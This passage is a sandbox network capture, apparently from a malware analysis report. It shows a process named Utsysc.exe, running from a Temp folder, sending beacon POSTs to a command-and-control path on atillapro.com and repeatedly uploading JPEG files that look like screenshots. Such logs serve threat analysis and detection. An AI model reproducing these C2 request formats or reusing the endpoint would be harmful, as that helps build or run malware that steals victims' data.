Apr 10, 2024 10:24:18.141644955 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:18.141671896 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:18.141696930 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:18.141730070 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:18.141730070 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:18.954176903 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49732	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:18.404565096 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:18.594073057 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:18.601193905 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:18.809097052 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:18 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49733	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:19.545331955 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:19.732333899 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:19.734956980 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:19.942931890 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49734	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:20.639261007 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:20.639261007 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:20.639334917 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:20.639334917 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:20.639377117 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:20.639377117 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:20.639544964 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:20.639544964 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:20.639588118 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:20.639588118 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:20.639628887 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:22.520802975 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49735	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:21.441854954 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:21.628263950 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:21.714472055 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:21.914501905 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49736	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:22.328099966 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:22.514338017 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:22.517177105 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:22.717267036 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49737	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:23.015165091 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:23.201447964 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:23.202361107 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:23.408574104 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49738	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:23.341641903 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:23.341687918 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:23.341728926 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:23.341753960 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:23.341792107 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:23.341810942 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:23.341830969 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:23.341849089 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:23.341886044 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:23.341886044 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:23.341902018 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:24.672244072 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49739	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:23.766710997 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:23.953031063 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:23 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:23.974452019 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:24.180411100 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49740	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:24.487874031 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:24.674334049 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:24.680255890 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:24.871346951 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:24 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49741	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:25.171828032 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:25.359364986 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:25.390799999 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:25.588735104 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49742	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:25.219217062 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:25.219217062 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:25.219217062 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:25.219275951 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:25.219275951 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:25.219295979 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:25.219295979 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:25.219362974 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:25.219362974 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:25.219362974 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:25.219362974 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:25.850677013 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49743	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:25.908231020 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:26.095310926 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
Apr 10, 2024 10:24:26.096695900 CEST	311	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 37 41 35 45 44 45 34 34 37 37 39 41 46 42 38 46 43 39 41 41 33 43 44 30 34 37 42 35 32 37 32 36 31 42 41 31 38 39 30 41 39 30 43 38 37 39 37 36 37 32 33 30 34 44 36 39 42 37 30 34 32 42 35 39 34 46 35 44 36 36 30 32 36 42 30 39 46 46 43 34 39 39 39 35 35 34 36 33 36 37 32 45 37 39 38 44 41 34 42 38 34 37 44 35 41 36 44 31 38 42 36 33 36 32 43 31 43 46 42 39 35 32 42 36 36 41 39 34 32 38 30 44 42 37 42 33 39 43 38 41 30 38 45 42 39 31 41 41 39 33 39 39 37 32 Data Ascii: r=7A5EDE44779AFB8FC9AA3CD047B527261BA1890A90C8797672304D69B7042B594F5D66026B09FFC499955463672E798DA4B847D5A6D18B6362C1CFB952B66A94280DB7B39C8A08EB91AA939972
Apr 10, 2024 10:24:26.304299116 CEST	153	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49744	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:26.426234961 CEST	172	OUT	POST /vsdjcn3khS/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----ODUwOTg= Host: atillapro.com Content-Length: 85250 Cache-Control: no-cache
Apr 10, 2024 10:24:26.426306009 CEST	132	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4f 44 55 77 4f 54 67 3d 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 32 34 36 31 32 32 36 35 38 33 36 Data Ascii: ------ODUwOTg=Content-Disposition: form-data; name="data"; filename="246122658369.jpg"Content-Type: application/octet-stream
Apr 10, 2024 10:24:26.426387072 CEST	6	OUT	Data Raw: ff d8 ff e0 Data Ascii:
Apr 10, 2024 10:24:26.426387072 CEST	6	OUT	Data Raw: 00 10 4a 46 Data Ascii: JF
Apr 10, 2024 10:24:26.426417112 CEST	6	OUT	Data Raw: 49 46 00 01 Data Ascii: IF
Apr 10, 2024 10:24:26.426417112 CEST	6	OUT	Data Raw: 01 01 00 60 Data Ascii: `
Apr 10, 2024 10:24:26.426492929 CEST	6	OUT	Data Raw: 00 60 00 00 Data Ascii: `
Apr 10, 2024 10:24:26.426492929 CEST	6	OUT	Data Raw: ff db 00 43 Data Ascii: C
Apr 10, 2024 10:24:26.426547050 CEST	6	OUT	Data Raw: 00 08 06 06 Data Ascii:
Apr 10, 2024 10:24:26.426547050 CEST	6	OUT	Data Raw: 07 06 05 08 Data Ascii:
Apr 10, 2024 10:24:26.426580906 CEST	6	OUT	Data Raw: 07 07 07 09 Data Ascii:
Apr 10, 2024 10:24:27.800009012 CEST	147	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49745	185.196.8.137	80	4856	C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe

Timestamp	Bytes transferred	Direction	Data
Apr 10, 2024 10:24:26.651671886 CEST	157	OUT	POST /vsdjcn3khS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: atillapro.com Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 10, 2024 10:24:26.838474035 CEST	148	IN	HTTP/1.1 200 OK Date: Wed, 10 Apr 2024 08:24:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Content-Type: text/html; charset=UTF-8 Data Raw: 33 Data Ascii: 3
